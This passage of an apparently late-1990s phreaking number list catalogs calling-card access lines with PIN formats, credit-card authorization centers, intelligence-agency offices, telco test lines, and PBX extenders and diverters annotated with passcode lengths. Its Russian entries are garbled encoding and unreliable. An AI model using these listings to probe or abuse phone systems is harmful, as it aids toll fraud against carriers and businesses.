+1-800-300-2355 NOS. (calling card, collect calls, etc.)
+1-800-303-5156 OLA Ontario Pre-paid calling card.
+1-800-361-7227 HELLO! Phone Pass Prepaid Customer Service Center.
+1-800-393-0711 7-11 Calling Cards.
+1-800-396-2454 Tech-Card Customer Service.
+1-800-423-4343 AT&T Calling Cards (16 digit code) (automated)
+1-800-429-8036 OLA Ontario Pre-paid calling cards Customer Service.
+1-800-437-6404 Champs Sports Calling Card (9 digit code)
+1-800-437-6415 Coca-Cola prepaid phone card dialup.
+1-800-437-9291 Star Telecom Network "Please enter your card number."
+1-800-444-3556 (1-800-HI-HELLO) Hello Direct. (Mail-order telphonics equipment,
+ pre-paid phone cards, etc.)
+1-800-463-0004 "Please enter your card number and PIN."
+1-800-475-9105 Pre-paid calling cards Customer Service.
+1-800-477-9692 ATN Customer Service and Calling Cards.
+1-800-484-2266 MCI WorldCom. (4 Digit Security Code)
+1-800-484-6245 MCI. (4 Digit Security Code)
+1-800-519-1111 Pronto. "Please enter your PIN number now."
+1-800-522-2020 Pacific Bell calling card calls.
+1-800-525-5288 ATN Communications.
+1-800-536-3273 Frontier Customer Service.
+1-800-546-9639 Bell Atlantic collect/calling card calls.
+1-800-555-1234 NOS automated collect, credit and calling card calls.
+1-800-555-2255 NOS. Collect, credit card calls, Operator assisted, etc.
+1-800-555-5321 SNET Calling Card Calls.
+1-800-555-COKE Coca-Cola Calling Cards.
+1-800-560-6245 "Please enter your four digit Frontier Spectrum PIN."
+1-800-572-6361 Pepsi Phone Card.
+1-800-576-2255 Frontier Communications Customer Service.
+1-800-633-2255 NOS automated collect, credit and calling card calls.
+1-800-662-6214 AT&T Calling Cards.
+1-800-666-2657 "Please enter your calling card number."
+1-800-674-0700 MCI WorldCom calling cards.
+1-800-674-6245 Musical Notes and then "Please enter your card number now."
+1-800-674-7325 MCI Calling Card.
+1-800-674-9997 MCI Calling Card.
+1-800-690-6245 "Please enter your four digit Frontier Spectrum PIN."
+1-800-725-5288 ATN Communications.
+1-800-741-2255 ATN Communications. (collect, credit, calling card, Op assisted.)
+1-800-741-7200 MCI WorldCom calling cards.
+1-800-783-1414 Frontier Access Card.
+1-800-783-1444 Frontier Access collect/calling card calls.
+1-800-783-2020 Frontier Communications Customer Service.
+1-800-811-3728 Globo Prepaid Phone Cards (10 digit codes) (automated)
+1-800-814-2808 Sprint Prepaid calling card service.
+1-800-827-8750 "Please enter your calling card number."
+1-800-836-2255 "Press 1 for English, 2 for Korean. Enter your card number."
+1-800-860-4444 Qwest Communications. (calling card calls)
+1-800-860-6000 Qwest Communications calling cards.
+1-800-864-7000 Premier World Link Access Number.
+1-800-879-3782 NOS (automated collect, credit, calling card calls)
+1-800-909-3191 Tech-Card (William Shatner)
+1-800-909-3206 MCI WorldCom Pre-paid Card System.
+1-800-909-3207 MCI WorldCom Pre-paid Card System.
+1-800-909-3212 MCI WorldCom Pre-paid Card System.
+1-800-909-3214 GTN-Phone Card System.
+1-800-909-3215 Pre-paid Calling Card System.
+1-800-909-3217 1-800 Pre-paid.
+1-800-909-3218 1-800 Pre-paid.
+1-800-909-3219 1-800 Pre-paid.
+1-800-909-3225 MCI WorldCom Pre-paid Card System.
+1-800-909-3231 MCI WorldCom Pre-paid Card System.
+1-800-909-3236 MCI WorldCom Pre-paid Card System.
+1-800-909-3240 MCI WorldCom Pre-paid Card System.
+1-800-909-3242 MCI WorldCom Pre-paid Card System.
+1-800-909-3245 MCI-Exchange Card Service.
+1-800-909-3477 Pre-paid Long-Distance Service.
+1-800-909-3533 Pre-paid Long-Distance Phonecard (PEI/PC)
+1-800-909-3640 MCI WorldCom Pre-paid Card System.
+1-800-909-3641 MCI WorldCom Pre-paid Card System.
+1-800-909-3642 MCI WorldCom Pre-paid Card System.
+1-800-909-3643 "All State" (MCI WorldCom Pre-paid Card System)
+1-800-909-3646 MCI WorldCom Pre-paid Card System.
+1-800-909-3653 MCI WorldCom Pre-paid Card System.
+1-800-909-3654 MCI WorldCom Pre-paid Card System.
+1-800-909-3657 MCI WorldCom Pre-paid Card System.
+1-800-909-3661 Pre-paid Calling Card System.
+1-800-909-4495 Calling Card System (Insimity Point Security Code)
+1-800-934-8642 VoiceNet Calling Cards (New York, NY)
+1-800-950-1077 GCI Long Distance. (Alaska)
+1-800-997-6245 Decoma calling card service. "Please enter your card number."
+1-800-999-9000 TONE. "Please enter your MCI WorldCom card number now."
+1-800-BCE-HELP Ideal Dial's Telecard Platform.
+1-800-DIAL-166 ATN Communications.
+1-800-EASY-TEL EasyTel Calling Card Calls.
+1-800-ONE-DIME Sprint's 1-800 One Dime.
+1-800-PRE-PAID 1-800 Pre-paid.
+1-800-YOU-SAVE Collect, Calling Card, Credit Card Calls.
+1-877-258-9088 Globo Prepaid Phone Cards Customer Service.
+1-888-813-1426 Kokanee Talkin' Tag Phone Card (10 digit PIN)
+1-888-818-4266 GST calling cards.
+
+
+-------------------------------------------------------------------------------
+ Teleconferencing:
+-------------------------------------------------------------------------------
+
+1-800-225-5100 AT&T Corporate Teleconferencing.
+1-800-225-5500 Teleconference Assistance.
+1-800-225-5700 AT&T Teleconferencing.
+1-800-232-1234 AT&T Teleconferencing.
+1-800-235-0900 AT&T Teleconferencing. (Spanish and English)
+1-800-255-5100 AT&T Teleconferencing.
+1-800-255-5500 AT&T Teleconferencing.
+1-800-369-1117 MCI Teleconferencing.
+1-800-448-2557 AT&T Teleconferencing.
+1-800-465-0025 Global Crossing SpeedLink (Conf Calls, Voicemail, Dir Assistance)
+1-800-475-4455 Conference Calling Center.
+1-800-475-6894 Quarrel Conferencing.
+1-800-525-8244 Frontier Confertech.
+1-800-544-6363 AT&T Alliance Teleconference Service.
+1-800-567-1250 Global Crossing SpeedLink.
+1-800-567-3678 Bell (Dis)Advantage Teleconference (Canada)
+1-800-569-0788 A Better Conference.
+1-800-625-5288 Teleconference Playback Center.
+1-800-667-3601 Global Crossing SpeedLink.
+1-800-668-4210 Global Crossing Frontier ConferTech.
+1-800-768-2550 Global Crossing SpeedLink.
+1-800-768-7775 Global Crossing SpeedLink.
+1-800-827-1700 Conference Call USA.
+1-800-886-2355 Frontier Teleconferencing.
+1-800-900-6338 Advantage Conferencing Services.
+1-800-925-8000 Conference America.
+1-800-933-3258 Global Crossing.
+1-800-954-2387 Frontier (Global Crossing)
+1-800-962-0044 Conf Call USA.
+1-800-CONF-CALL Smith Klein Beecham Conference Center (Sprint)
+1-888-345-5200 Video Conferencing Center.
+
+
+-------------------------------------------------------------------------------
+ Credit Card Verification:
+-------------------------------------------------------------------------------
+
+1-800-228-1111 American Express.
+1-800-228-1122 Credit Card Verification.
+1-800-268-2530 Credit Card Verification.
+1-800-268-8281 Royal Bank Authorization Centre for Visa Cards.
+1-800-333-1337 Authorization Centre.
+1-800-336-0220 Credit Card Service Bureau.
+1-800-361-8370 National Bank Authorization Centre for Master Card.
+1-800-528-2121 American Express Card.
+1-800-555-1880 Fleet's Card Activation and PIN line.
+1-800-556-5678 Bank number to report stolen bank cards.
+1-800-561-5224 Credit Authorization Centre
+1-800-796-2355 Card Services (Visa and Mastercard)
+1-800-810-2355 Customer Service Center.
+1-800-866-5000 National Credit Center.
+1-800-925-8888 Automated Authorization Centre. (Credit Cards)
+
+
+-------------------------------------------------------------------------------
+ Canadian Security Intelligence Service (CSIS):
+-------------------------------------------------------------------------------
+
+(204) 983-5405 CSIS in Winnipeg.
+(306) 780-5512 CSIS in Saskatchewan.
+(403) 292-5255 CSIS in Calgary.
+(403) 421-5800 CSIS in Edmonton.
+(416) 865-1480 CSIS in Toronto.
+(418) 529-8926 CSIS in Quebec City.
+(506) 452-3786 CSIS in Fredericton.
+(514) 393-5600 CSIS in Montreal.
+(604) 528-7400 CSIS in British Columbia.
+(613) 993-9620 CSIS HQ in Ottawa.
+(613) 998-1679 CSIS.
+(709) 772-5449 CSIS in Newfoundland.
+(902) 420-5900 CSIS in Halifax.
+1-800-267-7685 CSIS (Ontario only)
+1-800-564-0866 CSIS (Toronto region)
+1-800-661-5780 CSIS (Alberta/Saskatchewan/Manitoba/Thunder Bay only)
+
+
+-------------------------------------------------------------------------------
+ Non-Toll Free Extenders, etc.
+-------------------------------------------------------------------------------
+
+(416) 866-8866 PBX.
+(519) 651-2000 Extender.
+(519) 651-2250 The Communications Group.
+(519) 651-2252 Extender (4 digit Client numbers and passcodes)
+(519) 654-9000 Ability Telecom extender/diverter. (4 digit passcodes)
+(519) 742-9621 Bell Canada VMS.
+(519) 846-2255 Extender. (5 digit passcode)
+(519) 846-8786 PBX (dial "9" then the number)
+(519) 895-2255 Extender. (5 digit passcode)
+(905) 337-3033 Diverter. (416/905)
+
+
+-------------------------------------------------------------------------------
+ Silent Lines, Test Lines and Strange Messages:
+-------------------------------------------------------------------------------
+
+(403) 425-0052 Gives you Info about a Bell CO in Alberta.
+(416) XXX-1185 Bell Test Lines.
+(416) 690-4804 - Remote 44A (aka Bell Hut) (it's a switching center)
+(423) 539-0001 Memorycall Access line.
+(423) 588-9909 Memorycall Access line.
+(423) 602-7811 Remote Call FWD Access.
+(514) 391-1715 Wide Area Telephone Service (WATS)
+(514) 391-4005 MDAR Trouble line.
+(514) 481-1111 1khz tone.
+(514) 481-1191 1Khz&Battery.
+(514) 673-2111 Centrex (ASA)
+(514) 786-6786 Control.
+(514) 852-8686 Cables.
+(514) 870-0200 CDE code MTL.
+(514) 870-0669 CDE code MTL.
+(514) 870-0704 CDE code MTL.
+(514) 870-1252 DMS.
+(613) 544-1111 Bell Test Line.
+(847) 823-9995 Gives reading on the Bell CO, including alert and battery
+ conditions and temperature. Also allows you to check the sound
+ levels, allowing you to hear inside the CO.
+(905) 521-1185 Bell Test Line.
+(905) 851-0012 Bell Test Line.
+1-800-200-0301 Test line (loud beep)
+1-800-200-0302 Test line (loud beep)
+1-800-210-0000 Tones.
+1-800-221-0200 Siren Tones.
+1-800-225-5122 "We are sorry but this program has not started. Thank you for
+ calling."
+1-800-225-5300 "We are sorry but this program has ended and no further calls are
+ being taken. Thank you for calling."
+1-800-225-5308 High pitched TONE.
+1-800-225-5528 TONE. "Please enter the number you are calling."
+1-800-225-5563 Ring+Silent line.
+1-800-225-5871 High Tone then Dialtone.
+1-800-265-1111 High Tone.
+1-800-266-9999 Fast Busy Signal.
+1-800-323-8126 Dialtone.
+1-800-325-4112 Short Tones + High Tone.
+1-800-356-2255 Dialtone.
+1-800-361-8313 Bell Canada. "There is no service at this number."
+1-800-369-2255 Silent line.
+1-800-424-5664 "Please check your number and dial again."
+1-800-430-7938 DMS.
+1-800-437-2206 Alphanet Telecom recording.
+1-800-437-3025 No Ring+Silent Line.
+1-800-437-8351 High Tones.
+1-800-444-1677 Siren Tones.
+1-800-455-2013 Ring + Click then Trunk Busy signal.
+1-800-455-7947 Ring then silent line.
+1-800-456-0000 Dialtone. (PBX)
+1-800-465-7735 Strange Tones.
+1-800-475-2037 Siren Tones.
+1-800-483-2276 No Ring + Trunk Busy signal.
+1-800-483-2496 Strange Tones.
+1-800-483-2655 "We're sorry, we're unable to place a call from this number."
+1-800-483-2730 High Tone.
+1-800-483-2933 Siren Tones.
+1-800-483-9774 Ring + Trunk Busy Signal.
+1-800-485-2255 Ring + Trunk Busy Signal.
+1-800-522-2255 Dialtone.
+1-800-555-1120 "We are sorry but this program has ended and no further calls are
+ being taken. Thank you for calling."
+1-800-555-1220 Same message as 1-800-555-1120.
+1-800-555-1226 Siren Tones.
+1-800-555-2123 Tones.
+1-800-555-2147 Ring + Trunk Busy signal.
+1-800-555-2342 Dialtone. (PBX)
+1-800-555-3585 Dialtone. (PBX)
+1-800-555-3696 Silent line.
+1-800-555-6690 Tone.
+1-800-565-6737 High Tone.
+1-800-624-2255 "We're sorry. We're unable to place a call from this number.
+ Goodbye."
+1-800-638-0156 Tones.
+1-800-647-2255 "I'm sorry. We are no longer taking calls for this project."
+1-800-745-6678 Dialtone.
+1-800-747-6678 High Tone.
+1-800-749-2355 High Tone.
+1-800-749-9975 Tone.
+1-800-827-0000 "You have entered an invalid telephone number..."
+1-800-827-0011 "We're sorry, all circuits are now busy..."
+1-800-827-0036 No Ring+Click+Trunk Busy.
+1-800-827-0058 High Tone.
+1-800-827-0875 "This ATT Technologies number is not active."
+1-800-827-1227 Ring+Trunk Busy.
+1-800-827-3005 Alphanet Telecom recording.
+1-800-827-3210 NIS (Reads back 827-3210)
+1-800-827-3670 High Tones.
+1-800-827-3750 "You have dialed an invalid location."
+1-800-827-7878 "You have dialed an invalid location."
+1-800-827-9010 "We're sorry, the number you have called is an invalid number."
+1-800-827-9876 NIS (Reads back 827-9876)
+1-800-827-9890 "You have reached a number that is NIS at this time. 827-9890."
+1-800-827-9892 "You have reached a number that is NIS at this time. 827-9892."
+1-800-827-9904 "You have reached a number that is NIS at this time. 827-9904."
+1-800-861-9905 Loud Ring+Tones then "Thank you. Please hang up now."
+1-800-862-6338 Blast of Noise. "Please enter your calling card PIN number."
+1-800-866-9317 High Tone.
+1-800-877-8000 Low Tone.
+1-800-878-3532 High Tone.
+1-800-898-2355 Silent line.
+1-800-900-1302 Silent line.
+1-800-900-2274 Silent line.
+1-800-909-3467 Low Tone (PBX)
+1-800-909-4358 High Tone.
+1-800-909-4364 High Tone.
+1-800-925-0288 "This is not a valid number."
+1-800-925-3300 Low Tone.
+1-800-925-6620 Low Tone.
+1-800-925-8300 Rings+Silent Line.
+1-800-959-9997 "Test 1, 2, 3, 4." message.
+1-877-268-4272 Tones.
+1-877-900-EASY "You have reached an inactive number on the EasyTel network."
+1-888-374-2355 "You have entered an invalid telephone number."
+1-888-468-2355 "Due to technical difficulties we cannot record your message
+ at this time."
+1-888-487-5346 L.E.G.O.S.
+1-888-786-6786 Control.
+1-888-871-2380 Waterloo Facilities.
+
+
+-------------------------------------------------------------------------------
+ FAX-Backs:
+-------------------------------------------------------------------------------
+
+1-800-222-9323 AMV FAX-Back.
+1-800-268-9100 Bell Canada 1-900, 976, Info Line (2,1,2,AC,NUM,#,#)
+1-800-282-2000 Phillips (1,2,6,AC,NUM,#,1,#)
+1-800-323-6586 Tandy Retail Services FAX-Back. (order Tandy docs!)
+1-800-345-1518 Compaq Computer PaqFax.
+1-800-365-0696 Genecom Corporation FAX-back service. (Digital Printer Support)
+1-800-368-9673 Hewlett-Packard Information Storage Quick Fax (1,2,AC,NUM,1,2,)
+1-800-380-0030 Diamond (2,2AC,NUM,#,1,AC,NUM,#,1)
+1-800-443-1254 HP Portable Products (5,5,5,#,3,2,2,2,1#AC,NUM,#,1,#,)
+1-800-445-7736 Exabyte Fax-on-Demand (2,1)
+1-800-446-6212 Analog Fax (2,1,0,AC,NUM,1,AC,NUM,#,1)
+1-800-451-2100 Lucent Technologies Cincinnati. (get product info by FAX)
+1-800-483-2495 Central FAX on demand system. (FAX-Back)
+1-800-521-2846 Brother FAX-Back (they make fax machines and typewriters)
+1-800-522-6752 Amp Fax (1,8,90,#,#,AC,NUM,#,#,AC,NUM,#,#,#)
+1-800-525-3019 Intel (1,1,3,2,AC,NUM,1,#)
+1-800-684-2255 Nortel Networks Fax on Demand System. (1,1,1,AC,NUM,#)
+1-800-722-4786 Sun Microsystems Service Canada (1,2,4,1,AC,NUM,#,1)
+1-800-727-3351 Micro$oft Sales FAX Service Line. (press *,1,1,AC,NUM,#,5,0)
+1-800-762-6163 3Com Fax-on-Demand.
+1-800-822-4269 Borland Tech-Fax Document Retrieval System (3,2,1,AC,NUM,#,1,3,1)
+1-800-827-3000 Elite Group (press 1 for Fax-back)
+1-800-832-4778 Western Digital Fax Access (2,1,1,1,AC,NUM,#,1,AC,NUM,#,1)
+1-800-832-6328 Ameritech Team Data Support Center (press 6,2,1,2,AC,NUM,1)
+ (pressing 6 transfers you to the Ameritech Team Data Information
+ Server which you can use to obtain telco info via FAX-Back)
+1-800-872-4786 Sun Microsystems Service United States (2,4,1,AC,NUM,#,1)
+1-800-879-8632 US West News line. (U.S. only)
+1-800-909-0261 Apple Fax.
+1-800-909-0263 3M Economic Services Fax-On-Demand System.
+1-800-909-0264 Kinkos Fax-On-Demand Service.
+1-800-909-0269 Co-merica Bank, California's Fax-On-Demand Service.
+1-800-943-8329 Integrated Device Tech (1000,1,3000,1,#,AC,NUM#,1,#)
+1-800-FAX-SUNW Sun Fax-Back.
+1-800-IBM-4FAX IBM FAX Information Service. (3,1,0,1,1,1,AC,NUM,#,1,1)
+1-800-SKY-USER SkyTel Customer Service. (press 3 for FAX on demand for docs)
+1-888-322-8444 Hartford Shareholders News & Info FAX-Back (3,1,AC,NUM)
+
+
+-------------------------------------------------------------------------------
+ Yellow Pages:
+-------------------------------------------------------------------------------
+
+(519) 579-2252 Baka Communications. (Bell Mobility Dealer)
+(519) 654-2211 Bestel Message Centre Ltd. (Paging Services)
+(519) 725-2570 Bell Mobility Baca.
+(519) 744-7781 Bell Mobility Centre (Highland Hills Mall)
+(519) 745-3900 Bestel Message Centre Ltd. (Full Messaging, Voice Mail, Paging)
+(519) 893-8777 Bell World.
+(519) 894-2211 Bell Mobility Cellular Plus Centre.
+1-800-311-WORK Bell Canada.
+1-800-268-1711 Baka Communications Inc. (Toronto and Mississauga)
+1-800-387-7243 (1-800-387-PAGE) Bell Mobility Paging.
+1-800-917-1917 Bell Canada's Advantage Call Centre Solutions.
+
+(519) 888-9660 Cantel AT&T Store (Connestoga Mall)
+(519) 893-1811 Cantel AT&T Automated Self-Service System.
+1-800-268-1087 Cantel AT&T Paging Customer Service.
+1-888-353-4726 (1-88-TELEGRAM) AT&T Canada. (Send a Telegram Worldwide)
+
+(519) 741-5990 London Telecom Network.
+(519) 743-3602 Extend Communications Inc. (Pagers, Voice Mail Boxes, etc.)
+(519) 748-3200 Rogers Cablesystems General Enquiries.
+(519) 749-2434 Clearnet Business Communications Centre. (Paging, PCS, etc.)
+(519) 893-2310 Rogers Technical Assistance.
+(519) 893-4400 Rogers Community Programming.
+(519) 896-7600 Ericsson Communications Canada Inc.
+(905) 561-5443 Digital Mobile Systems Inc.
+
+1-800-216-0888 PageNet.
+1-800-263-4824 Digital Mobile. (Authorized Motorola Dealer)
+1-800-265-8725 Shaw Paging.
+1-800-270-8220 SOS 2000. (Government Canada line that lists businesses which
+ offer Year 2000 expertise and services)
+1-800-453-6835 (1-800-GLENTEL) Glentel Inc. Mobile Satellites.
+1-800-838-0298 MRC Systems Inc.
+1-888-253-2763 (1-888-CLEARNET) Clearnet Customer Service.
+1-888-474-3486 Iridium Canada. (Voice, Data, FAX & Paging Services)
+
+
+Internet:
+
+(519) 570-2121 GO INTERNET CAFE.
+(519) 651-3400 Sentex Communications.
+(519) 885-0211 BondNet Internet Services Inc. (Cisco Systems Reseller, Lucent
+ Technologies Agent)
+1-800-263-8433 Burlington Network Services.
+1-800-668-2857 Wightman Telecommunications. (ISP)
+1-800-773-4638 Globalserve Internet.
+1-888-298-3447 Netcom Canada.
+1-888-4-SENTEX Sentex Communications.
+1-888-6-NEWNET New Net Technologies Group.
+
+
+Cable:
+
+1-800-267-1919 CaTech Systems LTD.
+1-800-400-4954 Cablecom International.
+1-877-342-3726 Fiber Core Communications.
+1-877-652-0088 First Call Locate Service.
+
+
+Telephone Companies:
+
+(519) 651-2000 A-TEL Communications. (Press "9" to dial out)
+(519) 651-2250 A-TEL Communications.
+(519) 744-4455 A Telephone Man. (listed under Telephone Companies)
+(519) 744-9640 A + Tel Inc.
+(519) 745-0856 Telnet Communications.
+(519) 746-3357 Sprint Canada Inc.
+
+
+Telephone Directories:
+
+(519) 571-7700 Bell ActiMedia.
+(519) 658-2001 Kitchener-Waterloo Talking Yellow Pages. (Gives local time &
+ temperature)
+
+
+Telephone Equipment:
+
+(519) 570-0885 WilTel.
+(519) 570-1320 Greb Tele-Data Inc. (Authorized Sprint Canada Sales & Service)
+(519) 570-3609 Brant Telephone. (Authorized AT&T Canada and Lucent Technologies
+ Dealer. Long Distance and Conferencing Services)
+(519) 650-2000 City-Com Communications (Golden Triangle) Inc.
+(519) 654-2000 Regional Telecom.
+(519) 654-2003 Intelicom Systems.
+(519) 658-4588 Instatel Communications
+(519) 741-9262 Barrett B J Communications.
+(519) 744-6500 Tele-Connect.
+(519) 747-3333 PhoneMaster. (Authorized Sprint Dealer)
+(519) 748-1177 J&D Systems Inc. (Nortel Networks Authorized Distributor)
+(519) 748-2228 Telefficiency. (Authorized Nortel, Meridian, etc. Distributor)
+(519) 748-5832 Delphi Solutions. (Authorized Sprint Canada Agent)
+(519) 883-4109 Exceltech. (Telephone equipment services)
+1-800-932-9443 J P Cable Installations Ltd. (Authorized Bell Agent)
+1-888-276-1604 Telecom-Tech.
+1-888-7-DELPHI Delphi Solutions Customer Service.
+
+
+Long Distance:
+
+(519) 220-1120 Ability Telecom. (Flat Rate Long Distance)
+(519) 576-7077 Distributel Communications Ltd. (Long Distance Service)
+(519) 651-2250 Fone Pass (formerly Ad-Tel Communications)
+(519) 654-9614 Ontel Long Distance (Flat Rate, Worldwide Long Distance)
+1-800-670-2266 AT&T Canada Long Distance.
+1-800-700-0017 Glentel Inc. (Long Distance)
+1-888-266-1313 WinTel Communications. (Long Distance)
+1-888-676-7777 Bell Canada (Dis)Advantage Optimum savings program.
+1-888-824-1032 Telelink Canada. (Flat Rate Long Distance)
+
+
+Toronto:
+
+(416) 240-4955 Rogers AT&T Wireless.
+(416) 242-4242 The Canadian Telephone Company.
+(416) 255-8000 Watts Communications Ltd.
+(416) 292-1010 Toronto Talking Yellow Pages. (local time and temperature)
+(416) 345-2770 AT&T Canada Telecommunications Solutions Sales Dept.
+(416) 350-1000 Bell Nexxia.
+(416) 360-2307 Deutsche Telekom Canada.
+(416) 366-FIDO Fido. (Wireless Communications)
+(416) 368-0002 Sun Microsystems Sales Office.
+(416) 393-3500 TTC Time. (reports EST every 10 seconds)
+(416) 412-5000 Bell ActiMedia.
+(416) 412-5100 Yellow Pages Info Direct.
+(416) 412-5200 Yellow Pages Assistance.
+(416) 412-5400 Bell ActiMedia Directory Ordering and Sales.
+(416) 412-5600 Bell ActiMedia Directory Delivery Department.
+(416) 412-5999 Bell ActiMedia Customer Service.
+(416) 425-4500 1st Canadian Telecom. (Toronto Headquarters)
+(416) 533-7670 The Local Telephone Company Limited.
+(416) 581-0000 Lotus Development Canada.
+(416) 590-0202 Bell World.
+(416) 601-1200 Metro Access.
+(416) 620-2420 Bell ActiMedia.
+(416) 674-2233 Bell Mobility.
+(416) 733-4032 Telesat Canada. (Satellite Communications)
+(416) 756-4900 Nortel Control Center.
+(416) 767-7778 The Local Telephone Company Limited.
+(416) 777-2600 London Telecom Network.
+(416) 777-2881 WinTel Communications.
+(416) 860-1828 Hong Kong Telecom Canada.
+(416) 862-0705 MCI WorldCom.
+(416) 862-1717 Bell Canada Repair. (Toronto Office)
+(416) 924-9511 Distributel Communications Limited.
+(613) 226-5456 Nortel Emergency Technical Assistance Support.
+(905) 238-2349 Panasonic Canada, Inc. Telecommunications.
+(905) 264-5560 SCO Canada.
+(905) 470-3456 Toshiba Canada. (Markham, ON)
+(905) 470-3478 Toshiba Canada.
+(905) 477-3047 Telesonic Communications Prepaid Calling Cards.
+(905) 477-4344 Borland Canada.
+(905) 477-6745 Sun Microsystems of Canada. (Head Office in Markham, ON)
+(905) 542-3977 Entourage Technology Solutions. (Authorized Bell Distributor)
+(905) 602-5454 Fujitsu Canada.
+(905) 629-5000 Centel Communications. (Authorized Nortel Dealer)
+(905) 669-8107 Maxxell Canada.
+(905) 676-6700 Computer Associates. (Mississauga Office)
+(905) 712-4242 Williams Telecommunications Corp.
+(905) 795-1111 Canon Canada.
+(905) 890-2355 Motorola Cellular.
+(905) 890-8100 Oracle Corporation Canada.
+(905) 946-0928 Autodesk Canada.
+1-800-263-9217 Bell Business Repair.
+1-800-268-9322 Bell Voice Message Center.
+1-800-287-9334 Canadian Operator Services (Canadian Payphone Corp.)
+1-800-465-6887 Lotus Development Corp. Canada.
+1-800-519-1900 Corporate Image Marketing. (Toll free vanity numbers)
+1-800-827-4890 Globo Communications. (Spanish)
+1-877-249-2782 CRTC Client Services.
+1-877-666-7297 Canada Payphone Collect Call Services.
+
+
+-------------------------------------------------------------------------------
+ International Numbers:
+-------------------------------------------------------------------------------
+
+Argentina Country Direct:
+
+0800-5-4900 Alemania
+0800-2-3200 B‚lgica
+0800-5-5500 Brasil
+0800-2-1004 Canada
+0800-5-5601 Chile (ENTEL)
+0800-5-5603 Chile (VTR)
+0800-2-5604 Chile (SAT)
+0800-5-5700 Colombia
+0800-2-4500 Dinamarca
+0800-2-1001 EE.UU. (AT&T)
+0800-5-1002 EE.UU. (MCI)
+0800-5-1003 EE.UU. (SPRINT)
+0800-2-3400 Espa¤a
+0800-5-3300 Francia
+0800-2-3030 Grecia
+0800-2-3100 Holanda
+0800-2-1809 Is. V¡rgenes
+0800-5-3900 Italia
+0800-5-3901 Italia (Tarj. Prepaga)
+0800-5-3902 Italia (Tarj. Cr‚dito)
+0800-2-8100 Jap¢n (KDD)
+0800-2-0505 Nicaragua
+0800-2-4700 Noruega
+0800-5-5950 Paraguay
+0800-2-5100 Per£
+0800-5-3510 Portugal
+0800-5-4401 Reino Unido (BT)
+0800-2-4400 Reino Unido (MERCURY)
+0800-5-2809 Rep. Dominicana
+0800-5-6500 Singapur
+0800-2-4100 Suiza
+0800-5-5980 Uruguay
+0800-2-5800 Venezuela
+
+
+Russia:
+
+AT&T Numbers:
+
++7 095 9740074 AT&T Tone System (Moscow HQ)
++7 095 7555042 AT&T operator. (English)
++7 095 1555042 AT&T Automated Calling System.
++7 095 7555555 AT&T operator. (Russian)
+
+Free 800 Services. Moscow Numbers:
+
+7473320 MCI Operators in California. (Russian)
+7473322 Connects to Customer Service in Russian. (English)
+7473321 AT&T Operators (New York)
+7473324 Sprint Global, Arizona, USA
+7473325 Orua, Canada
+7473327 National Calling Center, UK
+7473329 Japan service
+7473356 Sprint Calling Cards.
+7473359 France service
+7473361 Italian service
+7473363 Chili service
+
+National Russian Numbers:
+
+8-10 800 4977211 ‘˜€ (AT&T)
+8-10 800 4977222 ‘˜€ (MCI)
+8-10 800 4977255 ‘˜€ (Sprint)
+8-10 800 4977220 ‘˜€ (MCI àãá᪮ï§ëç ï á«ã¦¡ )
+8-10 800 4977233 Š ¤ (Teleglobe)
+8-10 800 4977266 ‚¥«¨ª®¡à¨â ¨ï (BT)
+8-10 800 4977277 ‚¥«¨ª®¡à¨â ¨ï (Mercuri)
+8-10 800 4977288 ‚¥£à¨ï
+8-10 800 4977181 Ÿ¯®¨ï (KDD)
+8-10 800 4974358 ”¨«ï¤¨ï( Telecom Finland)
+8-10 800 4977032 ¥«ì£¨ï (Belgacom calling cards)
+8-10 800 4977212 ¥«ì£¨ï (Belgacom operator)
+8-10 800 4977039 ˆâ «¨ï (Iritel)
+8-10 800 4977353 ˆà« ¤¨ï (Telecom Ireland)
+8-10 800 4977156 ѬǬ
+8-10 800 4977165 ‘¨£ ¯ãà
+8-10 800 4977141 ˜¢¥©æ à¨ï.
+
+
+South Africa:
+
+101999 Toll Free ANAC.
+
+
+United Kingdom:
+
+100 Operator
+175 National test number. (ANAC)
+999 Emergency
+1234 Talking Clock
+192 Directory Enquiries (ie. give name/address, get phone number)
+
++44 (0)171 930 4832 Buckingham Palace, London
+
+0800 100100 Operator/BT Sales
+0800 321999 BT Security
+0800 696969 HeatBusters, Gas Appliances
+0800 89xxxx International Freephone (toll-free, but terminate overseas)
+
+UK Country Direct:
+
+0800 890011 USA Direct AT&T
+0800 890016 Canada Direct
+0800 890027 South Africa Direct
+0800 890031 Netherlands Direct
+0800 890032 Belgium Direct
+0800 890033 France Direct
+0800 890034 Spain Direct
+0800 890036 Hungary Direct
+0800 890038 Yugoslavia Direct
+0800 890039 Italy Direct
+0800 890042 Czechoslovakia Direct
+0800 890043 Austria Direct
+0800 890045 Denmark Direct
+0800 890046 Sweden Direct
+0800 890047 Norway Direct
+0800 890049 Germany Direct
+0800 890055 Brazil Direct
+0800 890056 Chile Direct
+0800 890061 Australia Direct
+0800 890064 New Zealand Direct
+0800 890065 Singapore Direct
+0800 890066 Thailand Direct
+0800 890081 Japan Direct
+0800 890082 Korea Direct
+0800 890123 Bermuda Direct
+0800 890212 Morocco Direct
+0800 890222 USA Direct MCI
+0800 890351 Portugal Direct
+0800 890353 Eire Direct
+0800 890357 Cyprus Direct
+0800 890358 Finland Direct
+0800 890808 Hawaii Direct
+0800 890852 Hong Kong Direct
+0800 890877 USA Direct Sprint
+0800 890909 BT International
+0800 893300 Engineering test line, Hungary
+0800 894278 Microtest
+0800 894382 Novell Support: DOS7 & Personal Netware
+0800 896980 J C Penney USA retailer
+0800 897120 Quarterdeck UK
+0800 897121 Holiday Inn
+0800 897125 Phoenix Datacom
+0800 898563 Iomega
+0800 898604 Piste Artiste
+0800 898888 Sun Express (Netherlands)
+0800 899002 National Pen, Manchester
+0800 899688 Sprint/Travelex pre-paid phone cards
+
+
+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+
+Final Notes:
+
+If you'd like to contribute to the Damage, INC. Phreaky Field Phreaking List,
+discover any dupes, numbers that are no longer in service or ones that have
+been misidentified, please notify us in Email at damage_inc@disinfo.net and
+report the error. This list is updated and released on a quarterly basis.
+So, if you send numbers your alias will be included in the next edition.
+Contributions are encouraged and always appreciated.
+
+Thanks go out to the following people (in no particular order) for their
+contributions to this list. It's a large, ongoing project that wouldn't exist
+without their support, and we appreciate the efforts that they've made towards
+this compilation of numbers. If you contributed in some way but were neglected
+to be mentioned, contact Damage, INC. and notify us about the oversight.
+
+Contributors/Greets:
+
